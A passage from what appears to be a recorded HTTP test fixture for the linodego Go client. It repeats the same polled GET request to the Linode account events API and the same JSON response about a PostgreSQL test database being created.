555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 